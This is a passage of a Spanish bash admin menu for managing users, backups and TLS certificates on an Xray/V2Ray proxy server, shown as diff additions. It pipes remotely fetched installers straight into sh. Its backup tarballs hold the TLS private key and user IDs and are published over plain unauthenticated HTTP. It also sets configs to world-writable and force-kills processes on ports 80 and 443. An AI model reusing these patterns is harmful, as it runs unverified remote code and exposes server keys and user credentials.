+msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +autB(){ + if [[ ! $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + autBackup + fi + } + +restore(){ + clear + + unset num + unset opcion + unset _res + + if [[ -z $(ls $backdir) ]]; then + title " no se encontraron respaldos" + sleep 0.5 + return + fi + + num=1 + title " Lista de Respaldos creados" + blanco " nom \033[0;31m| \033[1;37mfechas \033[0;31m| \033[1;37mhora" + msg -bar3 + for i in $(ls $backdir); do + col "$num)" "$i" + _res[$num]=$i + let num++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco " cual desea restaurar?" 0 + read opcion + + [[ $opcion = 0 ]] && return + [[ -z $opcion ]] && blanco "\n deves seleccionar una opcion!" && sleep 0.1 && return + [[ ! $opcion =~ $numero ]] && blanco "\n solo deves ingresar numeros!" && sleep 0.1 && return + [[ $opcion -gt ${#_res[@]} ]] && blanco "\n solo numeros entre 0 y ${#_res[@]}" && sleep 0.1 && return + + mkdir $backdir/tmp + tar xpf $backdir/${_res[$opcion]} -C $backdir/tmp/ + + clear + title " Archivos que se restauran" + + if rm -rf $config && cp $tmpdir/config.json $temp; then + sleep 0.1 + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' >> $config" | bash + chmod 777 $config + rm $temp + blanco " /etc/xray/config.json..." && verde "[ok]" + else + blanco " /etc/xray/config.json..." && rojo "[fail]" + fi + + if rm -rf $user_conf && cp $tmpdir/user $user_conf; then + blanco " /etc/xr/user..." && verde "[ok]" + else + blanco " /etc/xr/user..." && rojo "[fail]" + fi + [[ -e $tmpdir/fullchain.cer ]] && mv $tmpdir/fullchain.cer $tmpdir/fullchain.crt + if rm -rf /data && mkdir /data && cp $tmpdir/*.crt /data/xray.crt && cp $tmpdir/*.key /data/xray.key; then + blanco " /data/xray.crt..." && verde "[ok]" + blanco " /data/xray.key..." && verde "[ok]" + else + blanco " /data/xray.crt..." && rojo "[fail]" + blanco " /data/xray.key..." && rojo "[fail]" + msg -bar3 + echo -e "VALIDA TU CERTIFICADO SSL " + xray tls + fi + rm -rf $tmpdir + msg -bar3 + continuar + read foo +} + +server(){ + clear + + if [[ $(npm ls -g | grep "http-server") = "" ]]; then + npm install --global http-server + clear + fi + + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + screen -dmS online http-server /etc/xr/back/ --port 95 -s + title " Respaldos en linea" + col "su url:" "http://$(wget -qO- ipv4.icanhazip.com):95" + msg -bar3 + continuar + read foo + else + killall http-server + title " servidor detenido..." + sleep 0.1 + fi + } + +autBackup(){ + unset fecha + unset hora + unset tmp + unset back + unset cer + unset key + #fecha=`date +%d-%m-%y-%R` + fecha=`date +%d-%m-%y` + hora=`date +%R` + tmp="$backdir/tmp" && [[ ! -d ${tmp} ]] && mkdir ${tmp} + back="$backdir/v2r___${fecha}___${hora}.tar" + cer=$(cat /etc/xray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].certificateFile") + key=$(cat /etc/xray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].keyFile") + + cp $user_conf $tmp + cp $config $tmp + [[ ! $cer = null ]] && [[ -e $cer ]] && cp $cer $tmp + [[ ! $key = null ]] && [[ -e $cer ]] && cp $key $tmp + + cd $tmp + tar -cpf $back * + cp $back /var/www/html/xrayBack.tar && echo -e " + Descargarlo desde cualquier sitio con acceso WEB + LINK : http://$(wget -qO- ifconfig.me):81/xrayBack.tar \033[0m +-------------------------------------------------------" +read -p "ENTER PARA CONTINUAR" + rm -rf $tmp + } + +on_off_res(){ + if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +xrayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep xray | awk '{print substr($9,3); }' > /tmp/xray.txt && echo | cat /tmp/xray.txt | tr '\n' ' ' > /etc/adm-lite/xrayports.txt && cat /etc/adm-lite/xrayports.txt` > /dev/null 2>&1 +xrayports=$(echo $xrayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$xrayports" | grep xray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar3 + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;44m MENU XRAY LITE [$v1] POWER BY @drowkid01 \033[0m" || echo -e " \e[97m\033[1;44m MENU XRAY LITE POWER BY @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $xrayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$xrayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR xray : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} + +#============================================ +domain_check() { + ssl_install_fun + clear + msg -bar3 + echo -e " \033[1;49;37mgenerador de certificado ssl/tls\033[0m" + msg -bar3 + echo -e " \033[1;49;37mingrese su dominio (ej: midominio.com.ar)\033[0m" + echo -ne ' \033[3;49;31m>>>\033[0m ' + read domain + + echo -e "\n \033[1;49;36mOteniendo resolucion dns de su dominio...\033[0m" + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + + echo -e "\n \033[1;49;36mOteniendo IP local...\033[0m" + local_ip=$(wget -qO- ipv4.icanhazip.com) + sleep 0.5 + + while : + do + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -eq $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[1;49;32m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[1;49;32m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[1;49;32mComprovacion exitosa\033[0m" + echo -e " \033[1;49;37mLa IP de su dominio coincide\n con la IP local, desea continuar?\033[0m" + msg -bar3 + echo -ne " \033[1;49;37msi o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue;; + esac + else + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[3;49;31m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[3;49;31m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[3;49;31mComprovacion fallida\033[0m" + echo -e " \033[4;49;97mLa IP de su dominio no coincide\033[0m\n \033[4;49;97mcon la IP local\033[0m" + msg -bar3 + echo -e " \033[1;49;36m> Asegúrese que se agrego el registro" + echo -e " (A) correcto al nombre de dominio." + echo -e " > Asegurece que su registro (A)" + echo -e " no posea algun tipo de seguridad" + echo -e " adiccional y que solo resuelva DNS." + echo -e " > De lo contrario, xray no se puede" + echo -e " utilizar normalmente...\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " si o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2 && continue;; + esac + fi + break + done +} + +port_exist_check() { + while : + do + clear + msg -bar3 + echo -e " \033[1;49;37mPara la compilacion del certificado" + echo -e " se requiere que los siguientes puerto" + echo -e " esten libres." + echo -e " '80' '443'" + echo -e " este script intentara detener" + echo -e " cualquier proseso que este" + echo -e " usando estos puertos\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " [S/N]:\033[0m " + read opcion + + case $opcion in + [Ss]|[Yy]) + ports=('80' '443') + clear + msg -bar3 + echo -e " \033[1;49;37mcomprovando puertos...\033[0m" + msg -bar3 + sleep 0.2 + for i in ${ports[@]}; do + [[ 0 -eq $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -e " \033[3;49;32m$i [OK]\033[0m" + } || { + echo -e " \033[3;49;31m$i [fail]\033[0m" + } + done + msg -bar3 + for i in ${ports[@]}; do + [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -ne " \033[1;49;37mliberando puerto $i...\033[1;49;37m " + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + echo -e "\033[1;49;32m[OK]\033[0m" + } + done + ;; + [Nn]) cancelar && sleep 0.2 && break;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2;; + esac + continuar + read foo + ssl_install + break + done +} + +ssl_install() { + while : + do + + if [[ -f "/data/xray.key" || -f "/data/xray.crt" ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mya existen archivos de certificados" + echo -e " en el directorio asignado.\033[0m" + msg -bar3 + echo -e " \033[1;49;37mENTER para canselar la instacion." + echo -e " 'S' para eliminar y continuar\033[0m" + msg -bar3 + echo -ne " opcion: " + read ssl_delete + case $ssl_delete in + [Ss]|[Yy]) + rm -rf /data/* + echo -e " \033[3;49;32marchivos removidos..!\033[0m" + sleep 0.2 + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + + if [[ -f "$HOME/.acme.sh/${domain}_ecc/${domain}.key" || -f "$HOME/.acme.sh/${domain}_ecc/${domain}.cer" ]]; then + msg -bar3 + echo -e " \033[1;49;37mya existe un almacer de certificado" + echo -e " bajo este nombre de dominio\033[0m" + msg -bar3 + echo -e " \033[1;49;37m'ENTER' cansela la instalacion" + echo -e " 'D' para eliminar y continuar" + echo -e " 'R' para restaurar el almacen crt\033[0m" + msg -bar3 + echo -ne " opcion: " + read opcion + case $opcion in + [Dd]) + echo -e " \033[1;49;92meliminando almacen cert...\033[0m" + sleep 0.2 + rm -rf $HOME/.acme.sh/${domain}_ecc + ;; + [Rr]) + echo -e " \033[1;49;92mrestaurando certificados...\033[0m" + sleep 0.2 + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/xray.crt --keypath /data/xray.key --ecc + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + restart_v2r + echo -e " \033[1;49;37mrestauracion completa...\033[0m\033[1;49;92m[ok]\033[0m" + break + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + acme + break + done +} + +ssl_install_fun() { + apt install socat netcat -y + curl https://get.acme.sh | sh +} + +acme() { + clear + msg -bar3 + echo -e " \033[1;49;37mcreando nuevos certificado ssl/tls\033[0m" + #msg -bar3 +# read -p " Ingrese correo Para Validar el acme SSL : " corrio + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$corrio + msg -bar3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force --test; then + echo -e "\n \033[1;49;37mSSL La prueba del certificado\n se emite con éxito y comienza la emisión oficial\033[0m\n" + rm -rf "$HOME/.acme.sh/${domain}_ecc" + sleep 0.2 + else + echo -e "\n \033[4;49;31mError en la emisión de la prueba del certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + stop=1 + fi + + if [[ 0 -eq $stop ]]; then + + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + echo -e "\n \033[1;49;37mSSL El certificado se genero con éxito\033[0m" + msg -bar3 + sleep 0.2 + [[ ! -d /data ]] && mkdir /data + if "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/xray.crt --keypath /data/xray.key --ecc --force; then + msg -bar3 + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/xray.crt\",keyFile:\"/data/xray.key\"}]}' | jq '.inbounds[] += {domain:\"$domain\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + restart_v2r + echo -e "\n \033[1;49;37mLa configuración del certificado es exitosa\033[0m" + msg -bar3 + echo -e " /data/xray.crt" + echo -e " /data/xray.key" + msg -bar3 + sleep 0.2 + fi + else + echo -e "\n \033[4;49;31mError al generar el certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + fi + fi + continuar + read foo +} + +#============================================ + +restart_v2r(){ + xray restart + #echo "reiniciando" +} + + +fun_lock(){ + unset seg + local seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " BLOQUEAR USUARIO Y MANDARLO AL LIMBOOOOO" + userDat + local n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + local uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local p=$n + let n++ + } + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A BLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #echo -e " OPCION ${opcion} / USER : ${user[$opcion]}" + local LOCKDATA="$(cat ${user_conf}|grep -w "${user[$opcion]}"|cut -d'|' -f3)" + local tempo=$(date +%s --date="$LOCKDATA") + local dias="$(($(($tempo - $seg)) / 86400))" + [[ $opcion>=${p} ]] && { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + sed -i "/${user[$opcion]}/d" $user_conf + rm $temp + chmod 777 $configLOCK + #read -p "PAUSE" + } || { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + sed -i "/${user[$opcion]}/d" $user_conf + chmod 777 $configLOCK + #read -p "PAUSE" + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${user[$opcion]} NUM: ${opcion} ENVIADO AL LIMBOOOO !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } +done +} + +fun_unlock(){ +#echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $configLOCK + while : + do + unset user n + clear + title " DESBOQUEAR USUARIOS DEL LIMBOOOOO!!!" + userDat + userEpx=$(cut -d " " -f1 $configLOCK) + n=1 + for i in $userEpx + do + DateExp="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4)" + #seg_exp=$(date +%s --date="$DateExp") + #[[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp DIAS" "\033[0;31m[LOCK]" + #col "$n)" "$i" "\033[0;31m[LOCK]" + local uid[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local tiempito[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4|tr -d '[[:space:]]')" + let n++ + #} + done + [[ -z ${user[1]} ]] && blanco " No hay bloqueados!!!" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A DESBLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #blanco "DURACION EN DIAS" 0 + local dias=${tiempito[$opcion]} + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" ${configLOCK} + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " USUARIO ${user[$opcion]} RETIRADO DEL LIMBOOOOOOO!!" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +_lo_un(){ +clear +msg -bar3 +echo -e "\033[0;35m [${cor[2]}1\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] BLOQUEAR USUARIO V2RAY " +echo -e "\033[0;35m [${cor[2]}2\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] DESBLOQUEAR USUARIO V2RAY " +msg -bar3 +echo -e " \033[0;35m[${cor[2]}0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;43m[ Salir ]\e[0m")" +msg -bar3 + selection=$(selection_fun 2) + case ${selection} in + 1) + fun_lock + ;; + 2) + fun_unlock + ;; + esac +} + + + +add_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + + title " CREAR USUARIO xray" + userDat + + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + + [[ $opcion = 0 ]] && break + + blanco "DURACION EN DIAS" 0 + read dias + + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario $opcion creado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + #------------------------------------------------------------- + ps=${opcion} #$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=${new_id} #$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[].alterId $config | head -1) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + echo -e " ESTA CONFIG SOLO SE MUESTRA UNA VEZ AQUI \n SI QUIERES VOLVER A VERLA VE A LA OPCION 4 \n Y BALLASE A LA BERGA PERRO :V" + msg -bar3 + continuar + read foo + #--------------------------------------------------------------------- + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done + restart_v2r + } + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " ELIMINAR USUARIO xray" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion>=${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario eliminado" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } + done +} + +view_user(){ + unset seg + seg=$(date +%s) + while : + do + + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO xray" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "VER DATOS DEL USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + let opcion-- + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + continuar + read foo + done +} + +vmess() { +[[ $net = '"grpc"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" || { +[[ $net = '"ws"' ]] && echo -e 